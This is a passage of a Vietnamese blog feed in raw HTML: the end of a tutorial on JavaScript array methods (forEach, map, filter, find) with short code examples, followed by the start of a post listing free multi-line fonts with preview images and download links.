href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach"><code>forEach()</code></a> được sử dụng để lặp qua tất cả các phần tử của mảng.</p> <p>Ví dụ, để tìm tổng của tất cả các số trong một mảng số.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> sum <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token keyword">const</span> numbers <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> numbers<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">num</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> sum <span class="token operator">=</span> sum <span class="token operator">+</span> num<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>sum<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 15</span></code></pre></div> <h2 id="phương-thức-map" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-map" aria-label="phương thức map permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức "map"</h2> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map"><code>map()</code></a> được dùng để lặp qua tất cả các phần tử của mảng, sửa đổi chúng và trả về một mảng mới nhưng không làm thay đổi mảng cũ.</p> <p><strong>Ví dụ 1:</strong> nhân mỗi số của mảng với 2 và tạo ra mảng mới.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> numbers <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// nhân từng phần tử với 2</span> <span class="token keyword">let</span> double <span class="token operator">=</span> numbers<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">num</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> num <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>double<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [2, 4, 6, 8, 10]</span></code></pre></div> <p><strong>Ví dụ 2:</strong> trích xuất các thuộc tính từ một mảng đối tượng và lưu trữ chúng trong một mảng khác.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> objects <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">4</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">6</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token comment">// dùng map để trích xuất thuộc tính b trong mỗi đối tượng</span> <span class="token keyword">let</span> onlybs <span class="token operator">=</span> objects<span class="token punctuation">.</span><span class="token function">map</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">object</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> object<span class="token punctuation">.</span>b<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>onlybs<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// [2, 4, 6]</span></code></pre></div> <h2 id="phương-thức-filter" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-filter" aria-label="phương thức filter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức filter"</h2> <p>Phương thức <a href="https://developer.mozilla.org/en-US/docs/web/javascript/reference/global_objects/array/filter"><code>filter()</code></a> được sử dụng để lặp qua tất cả các phần tử của mảng và lọc ra các phần tử thỏa mãn một điều kiện (cho trước) thành một mảng khác.</p> <p>Ví dụ, để lọc tất cả các đối tượng có <code>flag</code> là <code>1</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> objects <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">flag</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">flag</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">flag</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">3</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> newArray <span class="token operator">=</span> objects<span class="token punctuation">.</span><span class="token function">filter</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">object</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> object<span class="token punctuation">.</span>flag <span class="token operator">===</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> newArray<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"flag:"</span> <span class="token operator">+</span> item<span class="token punctuation">.</span>flag <span class="token operator">+</span> <span class="token string">", a:"</span> <span class="token operator">+</span> item<span class="token punctuation">.</span>a<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">flag:1, a:1 flag:1, a:3</code></pre></div> <h2 id="phương-thức-find" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-find" aria-label="phương thức find permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức "find"</h2> <p>Phương thức <code>find()</code> được dùng để tìm và trả về phần tử đầu tiên trong mảng thỏa mãn một điều kiện (cho trước).</p> <p>Nếu không tìm thấy đối tượng nào thỏa mãn thì phương thức <code>find()</code> trả về <code>undefined</code>.</p> <p>Ví dụ để tìm một đối tượng có <code>flag</code> là <code>0</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> objects <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">flag</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">flag</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">flag</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">3</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">flag</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">4</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> item <span class="token operator">=</span> objects<span class="token punctuation">.</span><span class="token function">find</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">object</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> object<span class="token punctuation">.</span>flag <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>item<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {flag: 0, a: 2}</span></code></pre></div> <p><strong>Chú ý:</strong> Phương thức <code>filter</code>() trả về một mảng các phần tử, còn phương thức<code>find()</code> trả về một phần tử.</p> <p>Tham khảo:</p> <ul> <li><a href="/array-la-gi-array-trong-javascript/">Array là gì? Array trong JavaScript</a></li> <li><a href="/phuong-thuc-cua-mang-trong-javascript/">Các phương thức của mảng trong JS</a></li> <li><a href="/javascript-foreach-la-cai-quai-gi/">JavaScript forEach là cái quái gì?</a></li> <li><a href="/ung-dung-cua-reduce-javascript/">Ứng dụng reduce trong mảng</a></li> <li><a href="https://www.geeksforgeeks.org/array-helper-methods-in-es6/">Array Helper Methods in ES6</a></li> </ul>[email protected]<![CDATA[22 multi line fonts miễn phí và đẹp mắt]]><![CDATA[Dù trên logo, poster hay website, font chữ luôn là một công cụ thiết kế linh hoạt, tuyệt vời để thay đổi cảm giác của mọi người khi đọc nội dung của bạn. Sau đây là một số font chữ…]]>https://completejavascript.com/multi-line-fonts-mien-phi/https://completejavascript.com/multi-line-fonts-mien-phi/<![CDATA[Font]]>Tue, 10 May 2022 22:24:00 GMT<p>Dù trên logo, poster hay website, <strong>font chữ</strong> luôn là một công cụ thiết kế linh hoạt, tuyệt vời để thay đổi cảm giác của mọi người khi đọc nội dung của bạn.</p> <p>Sau đây là một số font chữ kiểu <strong>multi line</strong> (nhiều dòng) miễn phí và đẹp mắt nhất. Bạn có thể xem danh sách đầy đủ bên dưới.</p> <h2 id="paralines" style="position:relative;"><a href="#paralines" aria-label="paralines permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Paralines</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAIEBQH/xAAWAQEBAQAAAAAAAAAAAAAAAAAAAQL/2gAMAwEAAhADEAAAAb8a0ZvSUTGWK4D/xAAcEAACAgIDAAAAAAAAAAAAAAAAAQISAxARFDH/2gAIAQEAAQUClLh2enJWjkZ2DwvIsz//xAAWEQEBAQAAAAAAAAAAAAAAAAARASD/2gAIAQMBAT8BgY//xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAECAQE/AR//xAAdEAACAgEFAAAAAAAAAAAAAAAAARARIQIyQVGh/9oACAEBAAY/Aq5MxaVvsd6fTYYn/8QAHRABAAICAgMAAAAAAAAAAAAAAQARITFRcUFh0f/aAAgBAQABPyECCeVQt7So2kS7jd2HhNRtkvb8l7pgQg79Q566n//aAAwDAQACAAMAAAAQYCiC/8QAFhEBAQEAAAAAAAAAAAAAAAAAAREg/9oACAEDAQE/EALcf//EABYRAAMAAAAAAAAAAAAAAAAAABEgIf/aAAgBAgEBPxClP//EAB8QAQEAAgEEAwAAAAAAAAAAAAERACExQVFhcZHR8P/aAAgBAQABPxCoEHYWestEHA0ePvEXOCpxLBgb6BMuSxZsn7WLjQkmCm0Hmq4MEFvRuR6Y7aHxn//Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Paralines - free font" title="Paralines - free font" src="/static/d22fb3c7e4a4cd9db6d92c507a43e0e5/5ab81/20-multi-lines-fonts-paralines.jpg" srcset="/static/d22fb3c7e4a4cd9db6d92c507a43e0e5/e4e7a/20-multi-lines-fonts-paralines.jpg 165w, /static/d22fb3c7e4a4cd9db6d92c507a43e0e5/4f5c6/20-multi-lines-fonts-paralines.jpg 330w, /static/d22fb3c7e4a4cd9db6d92c507a43e0e5/5ab81/20-multi-lines-fonts-paralines.jpg 660w, /static/d22fb3c7e4a4cd9db6d92c507a43e0e5/7efee/20-multi-lines-fonts-paralines.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Paralines là phông chữ miễn phí với sự rung cảm cổ điển. Cảm hứng cho font Paralines đến từ cả phông chữ hiện đại và thiết kế cổ điển trong quá khứ.</p> <a href="https://www.behance.net/gallery/28060847/Paralines-Free-Font/" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="metrica" style="position:relative;"><a href="#metrica" aria-label="metrica permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Metrica</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAEF/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEAMQAAABx7AQf//EABQQAQAAAAAAAAAAAAAAAAAAACD/2gAIAQEAAQUCX//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABQQAQAAAAAAAAAAAAAAAAAAACD/2gAIAQEABj8CX//EABgQAAIDAAAAAAAAAAAAAAAAAAARASAh/9oACAEBAAE/IY0VGf/aAAwDAQACAAMAAAAQk8//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/ED//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/ED//xAAcEAACAQUBAAAAAAAAAAAAAAAAARExQVFhkXH/2gAIAQEAAT8QTTpK8dE8JjQqSeEf/9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Metrica - free font" title="Metrica - free font" src="/static/9d4d74206c7953aa99c95ab3be87138e/5ab81/20-multi-lines-fonts-metrica.jpg" srcset="/static/9d4d74206c7953aa99c95ab3be87138e/e4e7a/20-multi-lines-fonts-metrica.jpg 165w, /static/9d4d74206c7953aa99c95ab3be87138e/4f5c6/20-multi-lines-fonts-metrica.jpg 330w, /static/9d4d74206c7953aa99c95ab3be87138e/5ab81/20-multi-lines-fonts-metrica.jpg 660w, /static/9d4d74206c7953aa99c95ab3be87138e/7efee/20-multi-lines-fonts-metrica.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Phông chữ Metrica là một kiểu chữ in hoa mới, sắc nét và cơ học. Lấy cảm hứng từ kiến ​​trúc, phông chữ Metrica được thiết kế với kiểu dáng hình học, phẳng.</p> <p>Sử dụng ảnh hưởng từ các góc nhìn cảm nhận với thiết kế tòa nhà, tác giả muốn một cái gì đó thật nổi bật và có thể nhận ra ngay lập tức.</p> <a href="https://www.behance.net/gallery/25458247/Metrica-Free-Font/" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="phông-chữ-achi" style="position:relative;"><a href="#ph%C3%B4ng-ch%E1%BB%AF-achi" aria-label="phông chữ achi permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phông chữ Achi</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 63.63636363636363%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAH/xAAWAQEBAQAAAAAAAAAAAAAAAAACAwT/2gAMAwEAAhADEAAAAaoa4Bf/xAAYEAADAQEAAAAAAAAAAAAAAAAAASEDMv/aAAgBAQABBQId1FW+j//EABgRAAIDAAAAAAAAAAAAAAAAAAECAxAh/9oACAEDAQE/AZNYCv/EABYRAAMAAAAAAAAAAAAAAAAAAAEQMf/aAAgBAgEBPwERf//EABgQAAIDAAAAAAAAAAAAAAAAAAABESAx/9oACAEBAAY/Ah5Ff//EABgQAQEAAwAAAAAAAAAAAAAAAAERABBR/9oACAEBAAE/ITEtkSHdGB3CChr/2gAMAwEAAgADAAAAEPQf/8QAFxEBAAMAAAAAAAAAAAAAAAAAARARIf/aAAgBAwEBPxAUzsf/xAAWEQEBAQAAAAAAAAAAAAAAAAABECH/2gAIAQIBAT8QO2f/xAAcEAEBAAICAwAAAAAAAAAAAAABEQAQIVFBYZH/2gAIAQEAAT8Qi8l9YurNQgYfdVXyl6xUIJA61//Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Phông chữ Achi" title="Phông chữ Achi" src="/static/6e510d51f6df8a5f53bd0eb6a3239eaa/5ab81/20-multi-lines-fonts-achi-font.jpg" srcset="/static/6e510d51f6df8a5f53bd0eb6a3239eaa/e4e7a/20-multi-lines-fonts-achi-font.jpg 165w, /static/6e510d51f6df8a5f53bd0eb6a3239eaa/4f5c6/20-multi-lines-fonts-achi-font.jpg 330w, /static/6e510d51f6df8a5f53bd0eb6a3239eaa/5ab81/20-multi-lines-fonts-achi-font.jpg 660w, /static/6e510d51f6df8a5f53bd0eb6a3239eaa/7efee/20-multi-lines-fonts-achi-font.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>ACHI Font là một phông chữ thời trang miễn phí kiểu <strong>sans serif</strong>, được thiết kế bằng cách sử dụng <strong>shibu pg</strong> - một nhà thiết kế thời trang kiểu Ấn Độ.</p> <p>Phông chữ này có vẻ ngoài rất bắt mắt và thời trang, đặc biệt trong các dự án thiết kế hình ảnh, in ấn hoặc bố cục thương hiệu.</p> <a href="https://freefontsfamily.com/achi-font-free/" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="stoked" style="position:relative;"><a href="#stoked" aria-label="stoked permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Stoked</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAMABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAMBAv/EABYBAQEBAAAAAAAAAAAAAAAAAAEEBf/aAAwDAQACEAMQAAABqmj09ch//8QAGBAAAgMAAAAAAAAAAAAAAAAAABIBICH/2gAIAQEAAQUCUUnKf//EABYRAAMAAAAAAAAAAAAAAAAAAAEQEf/aAAgBAwEBPwGFf//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABUQAQEAAAAAAAAAAAAAAAAAAAEg/9oACAEBAAY/Aiv/xAAaEAEAAgMBAAAAAAAAAAAAAAABABEhMVEQ/9oACAEBAAE/IQO25RBzlhtLey3vn//aAAwDAQACAAMAAAAQAN//xAAXEQEAAwAAAAAAAAAAAAAAAAAAATFh/9oACAEDAQE/ENEU/8QAFxEAAwEAAAAAAAAAAAAAAAAAAAERUf/aAAgBAgEBPxCrBn//xAAbEAACAwEBAQAAAAAAAAAAAAABEQAhMUFhcf/aAAgBAQABPxAZcXAK44AkcS8acGkNLu7EJFWXkwtWXCSSySfs/9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Stoked (Phông chữ miễn phí)" title="Stoked (Phông chữ miễn phí)" src="/static/b79c6df8789f4ac3e07c7b0dcdb8a2cb/5ab81/20-multi-lines-fonts-stoked.jpg" srcset="/static/b79c6df8789f4ac3e07c7b0dcdb8a2cb/e4e7a/20-multi-lines-fonts-stoked.jpg 165w, /static/b79c6df8789f4ac3e07c7b0dcdb8a2cb/4f5c6/20-multi-lines-fonts-stoked.jpg 330w, /static/b79c6df8789f4ac3e07c7b0dcdb8a2cb/5ab81/20-multi-lines-fonts-stoked.jpg 660w, /static/b79c6df8789f4ac3e07c7b0dcdb8a2cb/7efee/20-multi-lines-fonts-stoked.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <a href="https://www.behance.net/gallery/24597223/STOKED-%2528free-font%2529" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="road-free-font" style="position:relative;"><a href="#road-free-font" aria-label="road free font permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Road Free Font</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 70.9090909090909%; position: relative; bottom: 0; left: 0; background-image: 